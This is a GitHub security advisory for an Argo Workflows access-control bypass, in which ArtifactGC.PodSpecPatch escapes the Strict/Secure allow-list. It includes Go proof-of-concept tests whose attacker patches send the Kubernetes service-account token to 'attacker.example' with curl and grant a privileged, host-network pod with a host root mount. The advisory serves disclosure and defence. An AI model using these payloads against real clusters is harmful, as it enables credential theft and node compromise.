GitHub Advisoryadvisory · Go

GHSA-48p8-g2fx-3wwm Argo Workflows: ArtifactGC.PodSpecPatch bypasses Strict/Secure template reference allow-list (Incomplete fix for CVE-2026-31892)

HIGH Published 2026-08-13 Modified 2026-08-13 Official page ↗
Aliases
CVE-2026-54526
Ecosystem
Go
Packages
github.com/argoproj/argo-workflows/v4, github.com/argoproj/argo-workflows/v3, github.com/argoproj/argo-workflows
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H
Weaknesses
CWE-284
Reviewed
2026-08-13

Affected packages

• Go github.com/argoproj/argo-workflows/v4: >= 4.0.0, < 4.0.6 → fixed in 4.0.6 • Go github.com/argoproj/argo-workflows/v3: < 3.7.15 → fixed in 3.7.15 • Go github.com/argoproj/argo-workflows: <= 2.5.3-rc4 (no fix yet)

Description

Summary The allow-list fix for CVE-2026-31892 (GHSA-3wf5-g532-rcrr), and its follow-up coverage of `hostNetwork`/`securityContext`/`serviceAccountName` in GHSA-3775-99mw-8rp4, is incomplete. `workflow/util/merge.go` `ValidateUserOverrides` / `SanitizeUserWorkflowSpec` walk only the top-level fields of `WorkflowSpec` via reflection. `WorkflowSpec.ArtifactGC` is allow-listed because admins want users to configure artifact garbage collection. The struct behind that field, `WorkflowLevelArtifactGC`, has a `PodSpecPatch` sub-field whose contents flow unmodified into `util.ApplyPodSpecPatch` on the artifact-GC pod - the same sink the original fix closed for `WorkflowSpec.PodSpecPatch`. A user submitting a Workflow under `templateReferencing: Strict` or `Secure` can therefore still inject an arbitrary strategic merge patch into the artifact-GC pod (hostPath volumes, `privileged: true`, arbitrary image and command, `hostNetwork: true`), defeating the stated purpose of Strict/Secure reference mode. Details Locations in `main` at `4d9f021` (HEAD 2026-04-23): Allow-list and reflection scope - `workflow/util/merge.go:19-60`: ```go var allowedUserOverrideFields = map[string]bool{ "Arguments": true, "Entrypoint": true, ... "ArtifactGC": true, // <-- allow-listed wholesale } func ValidateUserOverrides(userSpec *wfv1.WorkflowSpec) error { v := reflect.ValueOf(userSpec).Elem() t := v.Type() zero := reflect.New(t).Elem() for i := 0; i < t.NumField(); i++ { fieldName := t.Field(i).Name if allowedUserOverrideFields[fieldName] { continue // <-- sub-fields are not walked } if !reflect.DeepEqual(v.Field(i).Interface(), zero.Field(i).Interface()) { violations = append(violations, fieldName) } } ... } ``` The allow-listed type - `pkg/apis/workflow/v1alpha1/workflow_types.go:1207-1217`: ```go type WorkflowLevelArtifactGC struct { ArtifactGC `json:",inline"` ForceFinalizerRemoval bool `json:"forceFinalizerRemoval,omitempty"` PodSpecPatch string `json:"podSpecPatch,omitempty"` // <-- sink input } ``` The sink - `workflow/controller/artifact_gc.go:731-740` reads the user-controlled value: ```go func (woc *wfOperationCtx) getArtifactGCPodInfo(artifact *wfv1.Artifact) podInfo { info := podInfo{} if woc.execWf.Spec.ArtifactGC != nil { woc.updateArtifactGCPodInfo(&woc.execWf.Spec.ArtifactGC.ArtifactGC, &info) info.podSpecPatch = woc.execWf.Spec.ArtifactGC.PodSpecPatch } ... } ``` And `workflow/controller/artifact_gc.go:518-525` feeds it unchanged to the same helper that CVE-2026-31892 closed for the top-level field: ```go if info.podSpecPatch != "" { patchedPodSpec, patchErr := util.ApplyPodSpecPatch(pod.Spec, info.podSpecPatch) if patchErr != nil { return nil, patchErr } pod.Spec = *patchedPodSpec } ``` `util.ApplyPodSpecPatch` (`workflow/util/util.go:1560`) is a raw `strategicpatch.StrategicMergePatch` over the whole `apiv1.PodSpec` with no field-level restriction; it is the same primitive that was weaponized by the original CVE-2026-31892 against `WorkflowSpec.PodSpecPatch`. The pod it is applied to - built in `workflow/controller/artifact_gc.go` ~line 460-495 - has `AutomountServiceAccountToken: true` and a hardened `MinimalCtrSC()` security context that the patch fully overrides. The merge path is the one the fix already walks. `operator.go:#setStoredWfSpec` does `SanitizeUserWorkflowSpec(&woc.wf.Spec)` before `JoinWorkflowSpec(userSpec, workflowTemplateSpec, wfDefaultSpec)`. `Sanitize` preserves `ArtifactGC` wholesale. `Join` uses `strategicpatch.StrategicMergePatch` with the user spec as the target, so the user's `artifactGC.podSpecPatch` value wins whenever it is non-empty. Precondition for the attack: the referenced `WorkflowTemplate` has at least one template with an output artifact. `workflow/controller/artifact_gc.go:79` `HasArtifactGC` iterates `execWf.Spec.Templates[*].Outputs.Artifacts[*]` and asks `GetArtifactGCStrategy(&artifact)`, which falls back to `w.Spec.ArtifactGC.Strategy` when the per-artifact strategy is `Undefined` (`pkg/apis/workflow/v1alpha1/workflow_types.go:245`). The user supplies `spec.artifactGC.strategy: OnWorkflowCompletion` (in the allow-list) so the fallback is satisfied on any template that emits artifacts - the common case for real workloads. No validation sits between sanitize and sink: ``` grep -rn "ValidateArtifactGC\|validateArtifactGC\|ArtifactGC.*PodSpecPatch" --include="*.go" workflow/validate/ (no output) ``` The merge-package test file added with the fix (`workflow/util/merge_test.go` @ `4d9f021`) covers only `WorkflowSpec.PodSpecPatch`; `ArtifactGC.PodSpecPatch` is not exercised. PoC Self-contained Go unit tests against the shipped `workflow/util` package at `main@4d9f021`. Drop either file into `workflow/util/` and run `go test`. `poc/merge_artifactgc_poc_test.go`: ```go package util import ( "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" wfv1 "github.com/argoproj/argo-workflows/v4/pkg/apis/workflow/v1alpha1" ) func TestPoC_ArtifactGCPodSpecPatchPassesAllowList(t *testing.T) { attackerPatch := `{"containers":[{"name":"main","image":"attacker/evil:latest",` + `"command":["sh","-c","curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"]}],` + `"hostNetwork":true}` userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } // Gate 1: allow-list. Expected to reject - does not. require.NoError(t, ValidateUserOverrides(userSpec)) // Gate 2: sanitizer defense-in-depth. Expected to strip - does not. sanitized := SanitizeUserWorkflowSpec(userSpec) assert.Equal(t, attackerPatch, sanitized.ArtifactGC.PodSpecPatch) } ``` `poc/artgc_sink_poc_test.go` demonstrates the same patch reaching `ApplyPodSpecPatch` and mutating the hardened pod baseline (switches image, sets `privileged: true`, sets `hostNetwork: true`, adds a `hostPath: /` volume): ```go func TestPoC_ArtifactGCPodSpecPatchReachesApplyPodSpecPatch(t *testing.T) { attackerPatch := ` containers: • name: main image: attacker/evil:latest command: [sh, -c, "curl attacker.example/exfil -d @/var/run/secrets/kubernetes.io/serviceaccount/token"] securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: {drop: null, add: [SYS_ADMIN]} readOnlyRootFilesystem: false hostNetwork: true volumes: • name: hostroot hostPath: {path: /} ` userSpec := &wfv1.WorkflowSpec{ WorkflowTemplateRef: &wfv1.WorkflowTemplateRef{Name: "safe-template"}, ArtifactGC: &wfv1.WorkflowLevelArtifactGC{ ArtifactGC: wfv1.ArtifactGC{Strategy: wfv1.ArtifactGCOnWorkflowCompletion}, PodSpecPatch: attackerPatch, }, } require.NoError(t, ValidateUserOverrides(userSpec)) sanitized := SanitizeUserWorkflowSpec(userSpec) // Baseline built exactly like workflow/controller/artifact_gc.go:createArtifactGCPod. basePod := apiv1.PodSpec{ /* AutomountSAToken=true, MinimalCtrSC, limits, etc. */ } patched, err := ApplyPodSpecPatch(basePod, sanitized.ArtifactGC.PodSpecPatch) require.NoError(t, err) assert.Equal(t, "attacker/evil:latest", patched.Containers[0].Image) assert.Equal(t, true, *patched.Containers[0].SecurityContext.Privileged) assert.Equal(t, true, patched.HostNetwork) assert.Equal(t, "/", patched.Volumes[0].HostPath.Path) } ``` Run: ``` go test -v -run "TestPoC_ArtifactGC" ./workflow/util/ ``` Capt…

Related

Alias · CVE (1)

  • CVE-2026-54526 Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. vulnerability

Weakness · CWE (1)

  • CWE-284 Improper Access Control weakness

References